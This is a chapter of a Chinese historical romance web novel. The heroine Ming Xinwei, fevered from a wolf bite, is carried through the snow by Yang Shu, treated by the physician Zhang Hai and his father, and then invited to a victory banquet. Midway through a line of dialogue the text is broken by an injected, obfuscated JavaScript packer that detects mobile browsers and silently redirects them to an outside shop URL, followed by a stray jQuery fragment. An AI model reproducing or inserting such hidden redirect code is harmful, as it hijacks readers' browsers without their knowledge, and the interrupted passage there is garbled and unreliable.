杨束听了这话,却显得不高兴起来。
一时没人说话,只听到窗外大雪压得树木发出“哔啵”一声。
她琢磨了一下,心想,诶,这话也说得不好,对方三番两次救自己,一句“他人”似乎也有点伤人,但她原意其实是想让杨束不要自责。
于是故作轻松道:“啊,我说错了,其实你也算知晓我真实姓名。”
杨束叹息一声,把手轻轻盖在她眼帘上,道:“别说话了,睡会儿。”
他受刚搭上去,才发觉有点不对,又摸了一下她额头,皱起眉头:“你在发烧。”
他仔细看了一下,见她耳朵果然红得不正常,眼神更是有些涣散,只是方才听她言语清晰,还当她已经无碍。
他当即道:“现在下山。”
明新微虽烧得厉害,但还没糊涂,知晓现下的处境,拉住他衣袖道:“大雪行路,极易迷失方向。”
杨束把把空了的药瓶底给她看了一下,道:“宜早不宜迟。”
若她没有发热,两人还能等一等雪停,但山中缺医少药,连件冬衣都没有,只有薄薄的衾被,她又不会武,这么拖下去,非出事不可。
好在此间主人留了一顶颇大的蓑衣并毡帽,杨束留了银钱,便借用了来。他将明新微扣在怀里,用蓑衣将两人罩住,便打马往山下而去。
明新微后背贴着杨束,感觉到熨帖的热源,脑子转得快了些,便道:“我之前听那河间天王说话,似乎在贝州留有陷阱,不知我们回去能不能赶得上提醒他们。”
“嗯,他弃城而逃时我就提醒尉迟礼了,他会排查的。”
“那就好。”
枯燥的行路让她开始昏昏欲睡,又觉得身上一阵冷,一阵热,手臂的伤口也开始痛起来。
“别睡过去。”
没人应他。
“蝉光?”
“嗯……没睡。”
明新微缩在这方小小的蓑衣斗篷里,天地一色,如同身在一片冰雪汪洋之中,而她恰好乘了一叶小舟。
她吸了一口凌冽的空气,提提神,道:“你说,狼都是成群结党出没,怎么还会有落单的孤狼呢?
马鞭凌空甩出一声脆响。
“孤狼通常是被驱逐的前任狼王。”
雪后的世界显得格外安静,只有马蹄急急踩在新雪上的声音,不再清脆,而是“簌簌”的,这是属于冬天的声音。
她默念一句,暗想,原来如此,曾经到过顶峰,又如何能再俯首称臣?
*
掌灯时分,尉迟礼见到杨束打横抱着明新微冲进府中,口中只道:“郎中。”
怀里的人被蓑衣遮得严严实实,只看杨束的表情,尉迟礼吓得以为这是快要无力回天了,一面打发人去请城中的郎中,一面给黄九郎递口信,让推荐本地能起死回生的名医。
黄九郎在此战中算是立了大功,如今在家里是横着走了,听了口信,当即当着他爹的面挥斥方遒:“你们赶紧把这贝州知州府的库房清点一下,找几株年成好的吊命人参出来。”
若问贝州名酒,黄九郎或许答得上来,名医却难了,只得转头问他爹:“爹爹,这贝州名医,你可有推荐?”
他爹平叛有功,暂领了贝州知州,知贝、冀二州,等论功行赏后,只怕更有封赏,至于当初尉迟礼抓了黄九郎借兵一事,也轻轻揭过了,他爹到了贝州,同尉迟礼一照面,还没等黄九郎前去美言两句,便表示愿化干戈为玉帛。
此时尉迟礼有求,也不为难,一脸笑模样道:“这个不难,大名鼎鼎的张云姜张太医致仕回老家,便在这贝州,我去信一封,请他出山前去便是。”
于是张太医府上当晚便收了信,说是有一濒死之人,由风头正盛的黄知州出面请治,这实在是抹不开情面,但张太医年事已高,此时早已睡下,家人便做主先让儿子张海大雪天提了药箱跑一趟。结果张海到了尉迟礼府上,对着个发热的病人有些发蒙。
杨束提醒道:“她手臂伤得极重。”
张海便又仔细验看了伤口,诊了脉,看了舌像,怎么看也离“濒死”还有些距离。
他早年跟着父亲去了东京行医,虽没跟着进宫,但也是知道贵人就算被蚂蚁咬了一口,那也是天大的伤口,而这小娘子竟被野狼在手臂上咬了一口,传话说“濒死”,也不算太过夸张。
他从容道:“这伤口处理得甚是利落,若真是被野畜生咬了一口,只微微发红,实在难得,不知用了什么神药?”
杨束道:“确实用了方外秘药。”
而且是大手笔地用来冲洗了伤口,又厚敷了一层。
张海心里有些技痒,很想借来研习一番,但对方既然说是“秘药”,自然不好直问。
“我看伤口应无大碍,小娘子此番发热正是身体奋力祛邪之故。不必太过担忧。不过既被野狼所伤,怕有咬毒使人发狂之虞,须得解毒。” 张海捻捻胡子,“我不知这秘药成分,或许厚敷此药便已解毒,但若是不行,取青蒿绞汁服用,也有奇效。”
尉迟礼急道:“正值冬日,哪里又有青蒿呢?”
“还有一法,当艾灸伤处,日灸一壮,满百可止。” 张海迟疑道,“只是怕有留疤的风险。”
明新微当即道:“我不怕留疤。”
一个俏生生的小娘子哪里有愿意手臂上留疤的呢?
张海虽在医术上没有父亲的天分,但为人正直,心术很正,也从不故弄玄虚,只坦言道:“我明日同父亲探讨一番,或有他法。”
杨束便谢过他,又把空了的药瓶给了张海,道:“药虽敷完了,但或有助益。”
张海眼睛一亮,连忙谢过,高兴地捧着走了。
第二日,张太医颤巍巍地过府亲自看了一番,道:“无有大碍,服贴「下淤血汤加减」即可。”
张海跟在一旁兢兢业业录了医案,出得门外,便问:“「下淤血汤」乃张仲景治妇人腹中淤血的名方,但如何能治野
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085824|148097||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
狼狂毒?还请父亲赐教。”
医易同源,医学一途,有时候差了一份悟性,便只能头痛医头,脚痛医脚。张太医是早就知道的,自己这儿子虽然勤勉,但当个乡间良医就到头了,这辈子照着家中的医案笔记,治治常见病症,也能混得一口饱饭。
他叹一口气,坐在暖轿里,抱着手炉,指点道:“虽行无相似,内里却神同一脉,都是血证在里,欲使人发狂。”
张海点点头,记录下来,只待回去再仔细琢磨。
一贴经过张太医加减的「下淤血汤」下去,明新微身上一松,当天晚上便退了热,又过了两日,精神便大好,能下床走动。
左右无聊,便在后院看杨束打理救下来五匹「犯马」,洗洗刷刷上上药,上等草料伺候着,结果马儿的伤好得比明新微快多了,不几日便养得油光水滑。
但她其实好得也不慢,只因登门送礼的人太多,补品不断,大部分都进了她的肚子。要说此前尉迟府那是门口罗雀,如今贝州官吏被弥勒教清洗一空,多少官吏的位子腾了出来,封赏还没正式下来,前来烧热灶的人却不少。
收到的礼挑出一部分送去了张太医府上,还有部分拿去还黄知州的人情。其实黄知州那里,其实很该前去登门致谢的,但一来他住持着贝州大小事宜,战后千头万绪,是大忙人,二来明新微私心里也并不愿意同他照面,免得日后麻烦。
只是她不愿前去,对方却下了帖子,说在梅园设了庆功宴——清河全羊宴。
“还有专门给我的帖子?” 明新微奇怪道。
尉迟礼挠挠头:“我知晓二位是要低调行事,绝口没有提及,但却拦不住黄九郎这个知情人,或许他转头便将二位的英雄事迹同他爹说了个底掉?”
明新微拿过那帖子,一边看一边问道:“你说之前拿下贝州,黄知州随军赶来,甫一见面,便主动同你交好?”
尉迟礼略一思索,将他自己的想法和盘托出:“此番大功,各得好处,撕破脸来,我把他无诏借兵的事情捅出去,他又有什么好处?”
他自觉此言很有道理,又接着道:”黄知州看样子还算明白人,他原话说,「过去些许龃龉,都是事急从权,就此揭过,免得伤了同袍之谊」。”
两人携手攻城,也算「与子同袍」了。
也不能说全无道理,但明新微还想从黄九郎处旁敲侧击几下,便借着尉迟礼的名义转弯抹角地邀请他过府,说要答谢他送的人参。
可惜黄九郎一直没动静,直到庆功宴当天早上,才溜到尉迟府上,抱怨道:“欸,别提了,本来小爷此番立了大功,正痛快着呢,哪知我阿娘从博州得了消息过来了,哭天抢地,说我吃苦了,瘦得厉害,把我圈在府里连番地灌各类补品,你们看我是不是圆了一圈?”
尉迟礼端详片刻,配合打趣道:“确实肿了一圈。”
明新微听到的重点完则全不一样,心里大惊,博州陈氏大姑奶奶,那不就是她未婚夫陈籍的阿姊?